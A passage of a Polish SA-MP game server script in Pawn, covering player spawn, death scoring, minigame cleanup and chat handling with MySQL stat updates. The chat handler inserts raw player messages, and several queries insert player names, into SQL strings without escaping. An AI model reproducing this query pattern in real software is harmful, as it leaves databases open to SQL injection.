  1297.                         GivePlayerScore(playerid, (GetPVarInt(playerid, "pDExp") * -1 )+ 1);
  1298.  
  1299.                         pInFun[i] = 0;
  1300.                         SetPlayerVirtualWorld(i, 0);
  1301.                         GivePlayerScore(i, GetPVarInt(playerid, "pDExp") - 2);
  1302.                 SetPVarInt(i, "pWalka", -1);
  1303.                         SetPVarInt(i, "pDWeap1", 0);
  1304.                         SetPVarInt(i, "pDWeap2", 0);
  1305.                         SetPVarInt(i, "Walczy", 0);
  1306.                         SetPVarInt(i, "pDExp", 0);
  1307.                         ResetPlayerWeapons(i);
  1308.                     SetPlayerHealth(i, 100.0);
  1309.                         Odstaw(i);
  1310.                         SCM(i, -1, "Wygrałeś pojedynek!");
  1311.  
  1312.                         format(strx, sizeof strx, "UPDATE `players` SET `winpvp` = `winpvp`+1 WHERE `nick` = '%s'", pName[i]);
  1313.                         mysql_query(strx);
  1314.                         format(strx, sizeof strx, "UPDATE `players` SET `lospvp` = `lospvp`+1 WHERE `nick` = '%s'", pName[playerid]);
  1315.                         mysql_query(strx);
  1316.                 }
  1317.         }
  1318.  
  1319.         Spawned[playerid] = false;
  1320.         GetPos[playerid] = false;
  1321.         if(pAntyTele[playerid][0] != -1)
  1322.         {
  1323.                 if(pAntyTele[pAntyTele[playerid][0]][0] == playerid)
  1324.                 {
  1325.                     pAntyTele[pAntyTele[playerid][0]][0] = -1;
  1326.                 }
  1327.         }
  1328.  
  1329.  
  1330.         if(GetPVarInt(playerid, "pZapisanyWG") == 1)
  1331.         {
  1332.                 WG_Team[GetPlayerTeam(playerid) - 10]--;
  1333.                 if(WG_Team[GetPlayerTeam(playerid) - 10] <= 0)
  1334.                 {
  1335.                         KillTimer(WG_Timer);
  1336.                         WG_End();
  1337.                 }
  1338.         }
  1339.         if(GetPVarInt(playerid, "pZapisanyCH") == 1)
  1340.         {
  1341.                 CH_Zapisanych--;
  1342.                 if(CH_Szukajacy == playerid && CH_Trwa == 1)
  1343.                 {
  1344.                     KillTimer(CH_Timer);
  1345.                     CH_End();
  1346.                 }else if(CH_Zapisanych <= 1 && CH_Trwa == 1)
  1347.                 {
  1348.                     KillTimer(CH_Timer);
  1349.                     CH_End();
  1350.                 }
  1351.         }
  1352.         if(GetPVarInt(playerid, "pZapisanyHay") == 1)
  1353.         {
  1354.             if(pInFun[playerid] == 1 && HAY_Trwa) Iter_Remove(HAY_Array, playerid);
  1355.  
  1356.                 HAY_Zapisanych--;
  1357.  
  1358.                 if(HAY_Zapisanych <= 1 && HAY_Trwa)
  1359.                 {
  1360.                     KillTimer(HAY_Timer);
  1361.                     HAY_Trwa = 0;
  1362.                         HAY_Timer = -1;
  1363.                         HAY_Zapisanych = 0;
  1364.                         HAY_Odliczanie = -1;
  1365.                         Iter_Clear(HAY_Array);
  1366.  
  1367.                         pLoop(i)
  1368.                         {
  1369.                             if(IsPlayerConnected(i) == 1 && pInFun[i] == 1 && GetPVarInt(i, "pZapisanyHay") && i != playerid)
  1370.                             {
  1371.                                 Odstaw(i);
  1372.                                         GivePlayerScore(i, 15);
  1373.                                         GivePlayerMoney(i, 15000);
  1374.                                         pInFun[i] = 0;
  1375.                                         SetPVarInt(i, "pZapisanyHAY", 0);
  1376.                                         SCM(i, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Hay! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  1377.                                         break;
  1378.                             }
  1379.                         }
  1380.                 }
  1381.         }
  1382.         if(GetPVarInt(playerid, "pZapisanySS") == 1) SS_Zapisanych--;
  1383.         if(GetPVarInt(playerid, "pZapisanyTW") == 1) TW_Zapisanych--;
  1384.  
  1385.         if(GetPVarInt(playerid, "pZapisanyDD") == 1)
  1386.         {
  1387.                 DD_Zapisanych--;
  1388.                 if(DD_Zapisanych <= 1 && DD_Trwa)
  1389.                 {
  1390.                     KillTimer(DD_Timer);
  1391.                     DD_Trwa = 0;
  1392.                         DD_Timer = -1;
  1393.                         DD_Zapisanych = 0;
  1394.                         DD_Odliczanie = -1;
  1395.  
  1396.                         pLoop(i)
  1397.                         {
  1398.                             if(IsPlayerConnected(i) == 1 && pInFun[i] == 1 && GetPVarInt(i, "pZapisanyDD") && i != playerid)
  1399.                             {
  1400.                                 Odstaw(i);
  1401.                                         GivePlayerScore(i, 15);
  1402.                                         GivePlayerMoney(i, 15000);
  1403.                                         pInFun[i] = 0;
  1404.                                         SetPVarInt(i, "pZapisanyDD", 0);
  1405.                                         SCM(i, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Derby! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  1406.                                         break;
  1407.                             }
  1408.                         }
  1409.                 }
  1410.         }
  1411.         return 1;
  1412. }
  1413.  
  1414. public OnPlayerTakeDamage(playerid, issuerid, Float:amount, weaponid)
  1415. {
  1416.         if(IsPlayerInDM(playerid) && GetPVarInt(playerid, "pDM") == 3 && weaponid == 24)
  1417.         {
  1418.             KillPlayer(playerid);
  1419.         }
  1420.         if(issuerid != INVALID_PLAYER_ID
  1421.                 && PlayerPlaySound(issuerid, 6401, 0, 0, 0)
  1422.                 && IsPlayerInAnyVehicle(issuerid) == 0
  1423.                 && IsPlayerInAnyVehicle(playerid) == 0)
  1424.         {
  1425.                 if(GetPlayerTeam(playerid) == NO_TEAM || GetPlayerTeam(playerid) != GetPlayerTeam(issuerid))
  1426.                 {
  1427.                 pAntyTele[playerid][0] = issuerid;
  1428.                 pAntyTele[issuerid][0] = playerid;
  1429.                 pAntyTele[playerid][1] = GetTickCount();
  1430.                 pAntyTele[issuerid][1] = GetTickCount();
  1431.                 }
  1432.                 return 1;
  1433.         }
  1434.         return 1;
  1435. }
  1436.  
  1437. public OnPlayerStreamIn(playerid, forplayerid)
  1438. {
  1439.         if(GetPVarInt(playerid, "ShowNickOff") == 1 || GetPVarInt(playerid, "rec") == 1)
  1440.         {
  1441.                 ShowPlayerNameTagForPlayer(playerid, forplayerid, 0);
  1442.         }
  1443.         return 1;
  1444. }
  1445. public OnPlayerSpawn(playerid)
  1446. {
  1447.     AntiDeAMX();
  1448.         if(GetPVarInt(playerid, "Logged") == 0)
  1449.             return KickPlayer(playerid, "System", "Spawn bez zalogowania");
  1450.  
  1451.         if(GetPVarInt(playerid, "pDM") != 0)
  1452.         {
  1453.             DeathMatch(playerid, GetPVarInt(playerid, "pDM") - 1);
  1454.             return 1;
  1455.         }
  1456.         if(GetPVarInt(playerid, "pJailed") == 1)
  1457.         {
  1458.                 JailPlayer(playerid, "Valdrigar", ""C_O"Próba ucieczki z więzienia.");
  1459.             return 1;
  1460.         }
  1461.     GiveStandartWeapon(playerid);
  1462.         if(GetPVarInt(playerid, "floInt") != 0)
  1463.         {
  1464.             SetPlayerPos(playerid,
  1465.                     GetPVarFloat(playerid, "floX"),
  1466.                     GetPVarFloat(playerid, "floY"),
  1467.                     GetPVarFloat(playerid, "floZ"));
  1468.  
  1469.             SetPVarInt(playerid, "floInt", 0);
  1470.             SetPlayerVirtualWorld(playerid, 0);
  1471.             return 1;
  1472.         }
  1473.         GangZoneShowForPlayer(playerid, WojskoZone, 0xFF000080);
  1474.         PlayerTextDrawSetPreviewModel(playerid, ID_Skin, GetPlayerSkin(playerid));
  1475.     TD_Show(playerid, Logo);
  1476.     TD_Show(playerid, Reklama);
  1477.     TD_Show(playerid, StatyBox[0]);
  1478.         TD_Show(playerid, StatyBox[1]);
  1479.         TD_Show(playerid, StatyBox[2]);
  1480.         TD_Show(playerid, StatyBox[3]);
  1481.         TD_Show(playerid, StatyBox[4]);
  1482.         TD_Show(playerid, StatyBox[5]);
  1483.         TD_Show(playerid, StatyBox[6]);
  1484.         TD_Show(playerid, NazwaMapy);
  1485.         TD_Show(playerid, www_top);
  1486.         TD_Show(playerid, DataDraw);
  1487.         TD_Show(playerid, TD_Nick[playerid]);
  1488.         TD_Show(playerid, TD_Exp[playerid]);
  1489.         TD_Show(playerid, TD_Level[playerid]);
  1490.         TD_Show(playerid, TD_Online[playerid]);
  1491.         TD_Show(playerid, TD_FPS[playerid]);
  1492.         TD_Show(playerid, TD_Ping[playerid]);
  1493.         TD_Show(playerid, TD_Gang[playerid]);
  1494.         TD_Show(playerid, Graczy[playerid]);
  1495.         TD_Show(playerid, FunDrawBox[0]);
  1496.         TD_Show(playerid, FunDrawBox[1]);
  1497.     TD_Show(playerid, FunDraw[0]);
  1498.     TD_Show(playerid, FunDraw[1]);
  1499.     TD_Show(playerid, FunDraw[2]);
  1500.         TD_Show(playerid, FunDraw[3]);
  1501.     TD_Show(playerid, FunDraw[4]);
  1502.     TD_Show(playerid, FunDraw[5]);
  1503.     TD_Show(playerid, Zegar[0]);
  1504.     TD_Show(playerid, Zegar[1]);
  1505.     TD_Show(playerid, TDArenki[0]);
  1506.     TD_Show(playerid, TDArenki[1]);
  1507.     TD_Show(playerid, TDArenki[2]);
  1508.     TD_Show(playerid, TDArenki[3]);
  1509.     TD_Show(playerid, TDArenki[4]);
  1510.     TD_Show(playerid, TDPolecamy);
  1511.         TD_Show(playerid, ZegarDraw);
  1512.         TD_Hide(playerid,Wybieralka[0]);
  1513.     TD_Hide(playerid,Wybieralka[1]);
  1514.     TD_Hide(playerid,Wybieralka[2]);
  1515.     TD_Hide(playerid,Wybieralka[3]);
  1516.     TD_Hide(playerid,Wybieralka[4]);
  1517.     TD_Hide(playerid,Wybieralka[5]);
  1518.     TD_Hide(playerid,Wybieralka[6]);
  1519.     TD_Hide(playerid,Wybieralka[7]);
  1520.     TD_Hide(playerid,Wybieralka[8]);
  1521.     PlayerTextDrawShow(playerid, ID_Skin);
  1522.  
  1523.         SetPVarInt(playerid, "rec", 0);
  1524.  
  1525.         SetPlayerTime(playerid, hour, minute);
  1526.         SetPlayerColor(playerid, playerColors[playerid]);
  1527.  
  1528.         if(walizka[2] == 1)
  1529.         {
  1530.             TD_Show(playerid, WalizkaDraw[1]);
  1531.             TextDrawShowForAll(WalizkaDraw[0]);
  1532.         }
  1533.         if(GetOnlinePlayers() > OnlineRekord)
  1534.         {
  1535.            OnlineRekord = GetOnlinePlayers();
  1536.            format(strx, sizeof strx, "UPDATE `stats` SET `value` = '%d' WHERE `name` = 'rekord'", OnlineRekord);
  1537.            new string[1000];
  1538.            PlayerPlaySound(playerid,1138,0.0,0.0,0.0);
  1539.            format(string,sizeof(string), "~g~Nowy rekord graczy!~n~~r~%d", OnlineRekord);
  1540.        GameTextForAll(string, 5000, 3);
  1541.            SetTimer("RekordHide", 5000, true);
  1542.            mysql_query(strx);
  1543.     }
  1544.     StopAudioStreamForPlayer(playerid);
  1545.     Spawned[playerid] = true;
  1546.         mysql_query("SELECT `x`,`y`,`z` FROM `spawn` WHERE `world` = 0 AND `interior` = 0 ORDER BY RAND() LIMIT 1");
  1547.         mysql_store_result();
  1548.  
  1549.         static X[12],Y[12],Z[12];
  1550.     mysql_fetch_field("x", X);
  1551.     mysql_fetch_field("y", Y);
  1552.     mysql_fetch_field("z", Z);
  1553.     mysql_free_result();
  1554.     ShowPlayerDialog(playerid, 125, DIALOG_STYLE_MSGBOX, ""DIALOG_T" {000000}| {00FF59}Zmiana koloru", "Zostałeś zrespawnowany, czy chcesz zmienić swój kolor?\n", "Tak", "Nie");
  1555.     Audio_PlayStreamed(playerid, "http://top.xaa.pl/ptsdm/spawned/_spawn_.mp3");
  1556.     Streamer_UpdateEx(playerid, floatstr(X),floatstr(Y),floatstr(Z));
  1557.         SetPlayerPos(playerid, floatstr(X),floatstr(Y),floatstr(Z));
  1558.         SetPlayerInterior(playerid, 0);
  1559.         SetPlayerVirtualWorld(playerid, 0);
  1560.     GivePlayerMoney(playerid, 15000);
  1561.     GivePlayerWeapon(playerid, 9, 1);
  1562.     GivePlayerWeapon(playerid, 24, 100);
  1563.     GivePlayerWeapon(playerid, 26, 300);
  1564.     GivePlayerWeapon(playerid, 32, 1000);
  1565.     GivePlayerWeapon(playerid, 34, 20);
  1566.         if(GetPlayerMoney(playerid) <= 15000)
  1567.         {
  1568.             if(Vip[playerid]) GivePlayerMoney(playerid, 20000);
  1569.             else GivePlayerMoney(playerid, 30000);
  1570.         }
  1571.         if(Vip[playerid])
  1572.         {
  1573.                 SetPlayerArmour(playerid, 100.0);
  1574.         }
  1575.         if(Skin_User[playerid] > 0) SetPlayerSkin(playerid, Skin_User[playerid]);
  1576.         else Skin_User[playerid] = GetPlayerSkin(playerid);
  1577.         return 1;
  1578. }
  1579.  
  1580. public OnPlayerEnterDynamicArea(playerid, areaid)
  1581. {
  1582.         if(areaid == Ksiezyc_Zone)
  1583.         {
  1584.         }
  1585.         return 1;
  1586. }
  1587.  
  1588. public OnPlayerLeaveDynamicArea(playerid, areaid)
  1589. {
  1590.         if(areaid == Ksiezyc_Zone)
  1591.         {
  1592.         }
  1593.         return 1;
  1594. }
  1595. forward DestroyDeathObject(objid);
  1596. public DestroyDeathObject(objid)
  1597. {
  1598.         DestroyObject(objid);
  1599.         return 1;
  1600. }
  1601.  
  1602. forward OnPlayerTeamPrivmsg( playerid, text[] );
  1603. public OnPlayerTeamPrivmsg( playerid, text[] )
  1604. {
  1605.         assert( AntiFlood_Check( playerid ) );
  1606.         return 1;
  1607. }
  1608.  
  1609. public OnPlayerDeath(playerid, killerid, reason)
  1610. {
  1611.     AntiDeAMX();
  1612.     assert( AntiFlood_Check( playerid ) );
  1613.     antifakekill[playerid] ++;
  1614.     SetTimerEx("antifakekill2", 1000,false,"i",playerid);
  1615.         pAntyTele[playerid][0] = -1;
  1616.     Spawned[playerid] = false;
  1617.         new Float:x, Float:y, Float:z;
  1618.         GetPlayerPos(playerid, x,y,z);
  1619.         SetTimerEx("DestroyDeathObject", 4000, 0, "d", CreateObject(18681, x,y,z + 0.25, 0.0, 0.0, 0.0, 100.0));
  1620.  
  1621.         if(killerid != INVALID_PLAYER_ID)
  1622.         {
  1623.                 if(Vip[killerid])
  1624.                 {
  1625.                     GivePlayerScore(killerid, 2);
  1626.                     GameTextForPlayer(killerid,"respekt~n~~g~+2", 1000, 1);
  1627.                 }
  1628.                 else
  1629.                 {
  1630.                         GivePlayerScore(killerid, 1);
  1631.                         GameTextForPlayer(killerid,"respekt~n~~g~+1", 1000, 1);
  1632.                 }
  1633.  
  1634.                 GivePlayerScore(playerid, -1);
  1635.                 pAntyTele[killerid][0] = -1;
  1636.  
  1637.                 GivePlayerMoney(killerid, floatround(GetPlayerMoney(playerid) / 2) + GetPVarInt(playerid, "hitman"));
  1638.                 if(GetPVarInt(playerid, "hitman") > 0)
  1639.                 {
  1640.                     format(strx, sizeof strx, ""czat" "C_O"Zostałeś nagrodzony za zabicie "C_B"%s! "C_O"Kwota: "C_B"%d$", pName[playerid], GetPVarInt(playerid, "hitman"));
  1641.                     SCM(killerid, -1, strx);
  1642.                 }
  1643.             SetPVarInt(playerid, "hitman",0);
  1644.  
  1645.                 format(strx, sizeof strx, "UPDATE `players` SET `kills` = `kills` + 1 WHERE `nick` = '%s'", pName[killerid]);
  1646.                 mysql_query(strx);
  1647.  
  1648.  
  1649.                 if(IsPlayerInDM(killerid))
  1650.                 {
  1651.                         switch((GetPVarInt(killerid, "pDM") - 1))
  1652.                         {
  1653.                             case 0: format(strx, sizeof strx, "UPDATE `players` SET `a_rpg` = `a_rpg` + 1 WHERE `nick` = '%s'", pName[killerid]), mysql_query(strx);
  1654.                             case 1: format(strx, sizeof strx, "UPDATE `players` SET `a_minigun` = `a_minigun` + 1 WHERE `nick` = '%s'", pName[killerid]), mysql_query(strx);
  1655.                             case 2: format(strx, sizeof strx, "UPDATE `players` SET `a_oneshoot` = `a_oneshoot` + 1 WHERE `nick` = '%s'", pName[killerid]), mysql_query(strx);
  1656.                             case 3: format(strx, sizeof strx, "UPDATE `players` SET `a_jetpack` = `a_jetpack` + 1 WHERE `nick` = '%s'", pName[killerid]), mysql_query(strx);
  1657.                             case 4: format(strx, sizeof strx, "UPDATE `players` SET `a_snajper` = `a_snajper` + 1 WHERE `nick` = '%s'", pName[killerid]), mysql_query(strx);
  1658.                         }
  1659.                 }
  1660.  
  1661.                 /*if(!IsPlayerInAnyVehicle(playerid)
  1662.                         && IsPlayerInAnyVehicle(killerid)
  1663.                         && pInFun[playerid] == 0
  1664.                         && GetPlayerVirtualWorld(killerid) == 0
  1665.                         && GetPVarInt(playerid, "Wojskowy") == 0)
  1666.                 {
  1667.                         SetVehicleToRespawn(GetPlayerVehicleID(killerid));
  1668.                         JailPlayer(killerid, "Valdrigar", ""C_O"Zabicie pieszego z pojazdu.");
  1669.                 }*/
  1670.                 if(GetPVarInt(playerid, "pJailed") == 1)
  1671.                 {
  1672.                         JailPlayer(killerid, "Valdrigar", ""C_O"Zabicie więźnia");
  1673.                 }
  1674.  
  1675.         }else if(Vip[playerid] == false)
  1676.         {
  1677.                 GivePlayerScore(playerid, -1);
  1678.         }
  1679.     SetPVarInt(playerid, "explode", 0);
  1680.         SetPlayerMoney(playerid, 0);
  1681.         format(strx, sizeof strx, "UPDATE `players` SET `deads` = `deads` + 1 WHERE `nick` = '%s'", pName[playerid]);
  1682.         mysql_query(strx);
  1683.  
  1684.         SendDeathMessage(killerid, playerid, reason);
  1685.         //--
  1686.         if(GetPVarInt(playerid, "RacePlayer") == 1)
  1687.         {
  1688.                 KillTimer(GetPVarInt(playerid, "RaceTimer"));
  1689.                 ExitRace(playerid, 0);
  1690.         }
  1691.  
  1692.         if(GetPVarInt(playerid, "Walczy") == 1)
  1693.         {
  1694.                 new i = GetPVarInt(playerid, "pWalka");
  1695.                 if(i != -1)
  1696.                 {
  1697.                         pInFun[playerid] = 0;
  1698.                         SetPlayerVirtualWorld(playerid, 0);
  1699.                         GivePlayerScore(playerid, (GetPVarInt(playerid, "pDExp") * -1 )+ 1);
  1700.                 SetPVarInt(playerid, "pWalka", -1);
  1701.                         SetPVarInt(playerid, "pDWeap1", 0);
  1702.                         SetPVarInt(playerid, "pDWeap2", 0);
  1703.                         SetPVarInt(playerid, "Walczy", 0);
  1704.  
  1705.                         pInFun[i] = 0;
  1706.                         SetPlayerVirtualWorld(i, 0);
  1707.                         GivePlayerScore(i, GetPVarInt(playerid, "pDExp") - 2);
  1708.                 SetPVarInt(i, "pWalka", -1);
  1709.                         SetPVarInt(i, "pDWeap1", 0);
  1710.                         SetPVarInt(i, "pDWeap2", 0);
  1711.                         SetPVarInt(i, "Walczy", 0);
  1712.                         SetPVarInt(i, "pDExp", 0);
  1713.                         SetPVarInt(playerid, "pDExp", 0);
  1714.                         ResetPlayerWeapons(i);
  1715.                     SetPlayerHealth(i, 100.0);
  1716.                         Odstaw(i);
  1717.                         SCM(i, 0xFFFFFFFF, ""czat" "C_O"Wygrałeś "C_B"pojedynek!");
  1718.                         SCM(playerid, 0xFFFFFFFF, ""czat" "C_O"Przegrałeś "C_B"pojedynek!");
  1719.  
  1720.                         format(strx, sizeof strx, "UPDATE `players` SET `winpvp` = `winpvp`+1 WHERE `nick` = '%s'", pName[i]);
  1721.                         mysql_query(strx);
  1722.                         format(strx, sizeof strx, "UPDATE `players` SET `lospvp` = `lospvp`+1 WHERE `nick` = '%s'", pName[playerid]);
  1723.                         mysql_query(strx);
  1724.                 }
  1725.         }
  1726.         if(GetPVarInt(playerid, "pZapisanyWG") == 1 && WG_Trwa)
  1727.         {
  1728.                 WG_Team[GetPlayerTeam(playerid) - 10]--;
  1729.                 SetPVarInt(playerid, "pZapisanyWG", 0);
  1730.                 pInFun[playerid] = 0;
  1731.                 SetPlayerVirtualWorld(playerid, 0);
  1732.                 if(WG_Team[GetPlayerTeam(playerid) - 10] <= 0)
  1733.                 {
  1734.                         KillTimer(WG_Timer);
  1735.                         WG_End();
  1736.                 }
  1737.                 SetPlayerTeam(playerid, NO_TEAM);
  1738.         }else if(GetPVarInt(playerid, "pZapisanyCH") == 1 && CH_Trwa)
  1739.         {
  1740.                 CH_Zapisanych--;
  1741.                 pInFun[playerid] = 0;
  1742.                 SetPVarInt(playerid, "pZapisanyCH", 0);
  1743.                 SetPlayerVirtualWorld(playerid, 0);
  1744.                 if(CH_Szukajacy == playerid && CH_Trwa == 1)
  1745.                 {
  1746.                     KillTimer(CH_Timer);
  1747.                     CH_End();
  1748.                 }
  1749.                 if(CH_Zapisanych <= 1 && CH_Trwa == 1)
  1750.                 {
  1751.                     KillTimer(CH_Timer);
  1752.                     CH_End();
  1753.                 }
  1754.         }else if(GetPVarInt(playerid, "pZapisanyHay") == 1 && HAY_Trwa)
  1755.         {
  1756.                 HAY_Zapisanych--;
  1757.                 SetPlayerVirtualWorld(playerid, 0);
  1758.                 SetPVarInt(playerid, "pZapisanyHay", 0);
  1759.                 Iter_Remove(HAY_Array, playerid);
  1760.                 pInFun[playerid] = 0;
  1761.                 if(HAY_Zapisanych <= 1)
  1762.                 {
  1763.                     KillTimer(HAY_Timer);
  1764.                     HAY_Trwa = 0;
  1765.                         HAY_Timer = -1;
  1766.                         HAY_Zapisanych = 0;
  1767.                         HAY_Odliczanie = -1;
  1768.                         Iter_Clear(HAY_Array);
  1769.  
  1770.                         pLoop(i)
  1771.                         {
  1772.                             if(IsPlayerConnected(i) == 1 && pInFun[i] == 1 && GetPVarInt(i, "pZapisanyHay"))
  1773.                             {
  1774.                                 Odstaw(i);
  1775.                                         GivePlayerScore(i, 15);
  1776.                                         GivePlayerMoney(i, 15000);
  1777.                                 pInFun[i] = 0;
  1778.                                 SetPVarInt(i, "pZapisanyHay", 0);
  1779.                                         SCM(i, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Hay! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  1780.                                         break;
  1781.                             }
  1782.                         }
  1783.                         UpdateFunTextDraw();
  1784.                 }
  1785.         }else if(GetPVarInt(playerid, "pZapisanySS") == 1 && SS_Trwa)
  1786.         {
  1787.                 SS_Zapisanych--;
  1788.                 SetPlayerVirtualWorld(playerid, 0);
  1789.                 SetPVarInt(playerid, "pZapisanySS", 0);
  1790.                 DisablePlayerCheckpoint(playerid);
  1791.                 pInFun[playerid] = 0;
  1792.         }else if(GetPVarInt(playerid, "pZapisanyTW") == 1 && TW_Trwa)
  1793.         {
  1794.                 TW_Zapisanych--;
  1795.                 SetPlayerVirtualWorld(playerid, 0);
  1796.                 SetPVarInt(playerid, "pZapisanyTW", 0);
  1797.                 DisablePlayerCheckpoint(playerid);
  1798.                 pInFun[playerid] = 0;
  1799.         }else if(GetPVarInt(playerid, "pZapisanyDD") == 1 && DD_Trwa)
  1800.         {
  1801.                 DD_Zapisanych--;
  1802.                 pInFun[playerid] = 0;
  1803.                 SetPVarInt(playerid, "pZapisanyDD", 0);
  1804.                 SetPlayerVirtualWorld(playerid, 0);
  1805.                 if(DD_Zapisanych <= 1)
  1806.                 {
  1807.                     KillTimer(DD_Timer);
  1808.                     DD_Trwa = 0;
  1809.                         DD_Timer = -1;
  1810.                         DD_Zapisanych = 0;
  1811.                         DD_Odliczanie = -1;
  1812.  
  1813.                         pLoop(i)
  1814.                         {
  1815.                             if(IsPlayerConnected(i) == 1 && pInFun[i] == 1 && GetPVarInt(i, "pZapisanyDD"))
  1816.                             {
  1817.                                 Odstaw(i);
  1818.                                         GivePlayerScore(i, 15);
  1819.                                         GivePlayerMoney(i, 15000);
  1820.                                 pInFun[i] = 0;
  1821.                                 SetPVarInt(i, "pZapisanyDD", 0);
  1822.                                         SCM(i, 0xFFFFFFFF, ""czat" Wygrałeś "C_B"Derby! "C_O"Otrzymujesz "C_B"15 "C_O"exp i "C_B"15000$");
  1823.                                         break;
  1824.                             }
  1825.                         }
  1826.                         UpdateFunTextDraw();
  1827.                 }
  1828.         }
  1829.  
  1830.         format(strx, sizeof strx, "Death: %s (%d) by ID: %d REASON: %d", pName[playerid], playerid, killerid, reason);
  1831.         WriteLog(strx);
  1832.         return 1;
  1833. }
  1834.  
  1835. public OnVehicleSpawn(vehicleid)
  1836. {
  1837.     if(VehicleCreated[vehicleid] == 1)
  1838.         {
  1839.             DestroyVehicle(vehicleid);
  1840.                 VehicleCreated[vehicleid] = 0;
  1841.         }
  1842.     DestroyNeon(vehicleid);
  1843.  
  1844.         vLock[vehicleid][0] = 0;
  1845.         vLock[vehicleid][1] = INVALID_PLAYER_ID;
  1846.         vLock[vehicleid][2] = 0;
  1847.  
  1848.         if(vObject[vehicleid][0] != -1)
  1849.         {
  1850.             DestroyDynamicObject(vObject[vehicleid][0]);
  1851.             vObject[vehicleid][0] = -1;
  1852.         }
  1853.         if(vObject[vehicleid][1] != -1)
  1854.         {
  1855.             DestroyDynamicObject(vObject[vehicleid][1]);
  1856.             vObject[vehicleid][1] = -1;
  1857.         }
  1858.         return 1;
  1859. }
  1860.  
  1861. public OnVehicleDeath(vehicleid, killerid)
  1862. {
  1863.         DestroyNeon(vehicleid);
  1864.         if(vObject[vehicleid][0] != -1)
  1865.         {
  1866.             DestroyDynamicObject(vObject[vehicleid][0]);
  1867.             vObject[vehicleid][0] = -1;
  1868.         }
  1869.         if(vObject[vehicleid][1] != -1)
  1870.         {
  1871.             DestroyDynamicObject(vObject[vehicleid][1]);
  1872.             vObject[vehicleid][1] = -1;
  1873.         }
  1874.         return 1;
  1875. }
  1876. public OnPlayerText(playerid, text[])
  1877. {
  1878.     AntiDeAMX();
  1879.     new times[6];
  1880.         gettime(times[0], times[1], times[2]);
  1881.         getdate(times[3], times[4], times[5]);
  1882.         format(strx, 255, "INSERT INTO `czat_wiadomosci` SET `autor`='%s', `tresc`='%s', `data`='%d-%d-%d %d:%d:%d'", pName[playerid], text,
  1883.         times[3], times[4], times[5], times[0], times[1], times[2]);
  1884.         mysql_query(strx);
  1885.         if(pAFK[playerid] != 0)
  1886.         {
  1887.                 SCM(playerid, -1, ""czat" "C_O"Wpisz "C_B"/jj"C_O", aby aktywować działania na serwerze.");
  1888.                 return 0;
  1889.         }
  1890.     SetTimerEx("ResetCount", SpamLimit, false, "i", playerid);
  1891.         if(IsIP(text) == 1 || strfind(text, ".xaa.") != -1 || strfind(text, ".com") != -1 || strfind(text, ".com.pl") != -1 || strfind(text, ".pl") != -1 || strfind(text, ".eu") != -1 || strfind(text, ".wxv.pl") != -1 || strfind(text, ".cba.pl") != -1 || strfind(text, ".org") != -1 || strfind(text, ".eu") != -1)
  1892.         {
  1893.             KickPlayer(playerid, "Ochrona" , "Reklama");
  1894.             return 0;
  1895.         }
  1896.  
  1897.         format(strx, sizeof strx, "%s (%d): %s", pName[playerid], playerid, text);
  1898.         WriteLog(strx);
  1899.     if(GetPVarInt(playerid, "Mucik") == 0)
  1900.         {
  1901.                 SetPVarInt(playerid, "Wiadka", GetPVarInt(playerid, "Wiadka") + 1);
  1902.                 SetTimerEx("Limit", 1500, 0, "i", playerid);
  1903.  
  1904.                 if(GetPVarInt(playerid, "Wiadka") >= 4)
  1905.                 {
  1906.                         if(!(((GetPVarInt(playerid, "BladDziadygo") + 2) == 3)))
  1907.                         {
  1908.                                 SCM(playerid, 0xD00000AA, "Nie spamuj!");
  1909.                         }
  1910.                         SetPVarInt(playerid, "BladDziadygo", GetPVarInt(playerid, "BladDziadygo") + 1);
  1911.                 }
  1912.         }
  1913.         else
  1914.         {
  1915.                 SCM(playerid, 0xD00000AA, "Jesteś uciszony, nie możesz pisać...");
  1916.                 return 0;
  1917.         }
  1918.         if(Administrator[playerid] >= 1 && text[0] == '@')
  1919.         {
  1920.             new str2[256];
  1921.         strmid(str2,text,1,strlen(text));
  1922.                 format(strx, sizeof strx, "[ADMIN-CHAT] %s:{11BB11} %s", pName[playerid], str2);
  1923.                 foreach (Player, i)
  1924.                 {
  1925.                     if(Administrator[i] == 0) continue;
  1926.  
  1927.                         SCM(i, 0x11CC11FF, strx);
  1928.                 }
  1929.                 return 0;
  1930.         }
  1931.  
  1932.  
  1933.         if(GetPVarInt(playerid, "pJailed") == 1)
  1934.         {
  1935.             SCM(playerid, 0xFFFFFFFF, "Jesteś w więzieniu! Nie możesz pisać!");
  1936.             return 0;
  1937.         }
  1938.         if(GetPVarInt(playerid, "mute") > GetTickCount())
  1939.         {
  1940.             format(strx, sizeof strx, ""czat" "C_O"Jesteś uciszony. Będziesz mógł pisać za "C_B"%d "C_O"sekund.", ((GetPVarInt(playerid, "mute") - GetTickCount()) / 1000));
  1941.                 SCM(playerid, -1, strx);
  1942.  
  1943.             format(strx, sizeof strx, "(MUTE:%d)"C_B": %s", playerid, text);
  1944.                 pLoop(i)
  1945.                 {
  1946.                         if(Administrator[i]) SendPlayerMessageToPlayer(i,playerid, strx);
  1947.                 }
  1948.                 return 0;
  1949.         }
  1950.     if(strfind(text,"!kill",true) == 0) return Kick(playerid);
  1951.     if(strfind(text,"www.top.xaa.pl",true) == 0) return Kick(playerid);
  1952.         if(TestReaction == 1 && !strcmp(STRReaction, text))
  1953.         {
  1954.                 format(strx, sizeof strx, ""czat" "C_O"Gracz "C_B"%s "C_O"wpisał jako pierwszy poprawnie "C_B"%s", pName[playerid],STRReaction);
  1955.                 SCMToAll(0xFFFFFFFF, strx);
  1956.                 SCMToAll(0xFFFFFFFF, ""czat" "C_O"Wygrał "C_B"15exp "C_O"oraz "C_B"5000$.");
  1957.                 GivePlayerScore(playerid, 15);
  1958.                 GivePlayerMoney(playerid, 5000);
  1959.                 format(strx, sizeof strx, "UPDATE `players` SET `reaction` = `reaction` + 1 WHERE `nick` = '%s'", pName[playerid]);
  1960.                 mysql_query(strx);
  1961.                 ReactionTimeout();
  1962.                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'reaction'");
  1963.             return 0;
  1964.         }
  1965.     if(ObliczStatus == true)
  1966.         {
  1967.             if((IsNumeric(text) || (text[0] == '-' && IsNumeric(text[1]))) && ObliczWynik == strval(text))
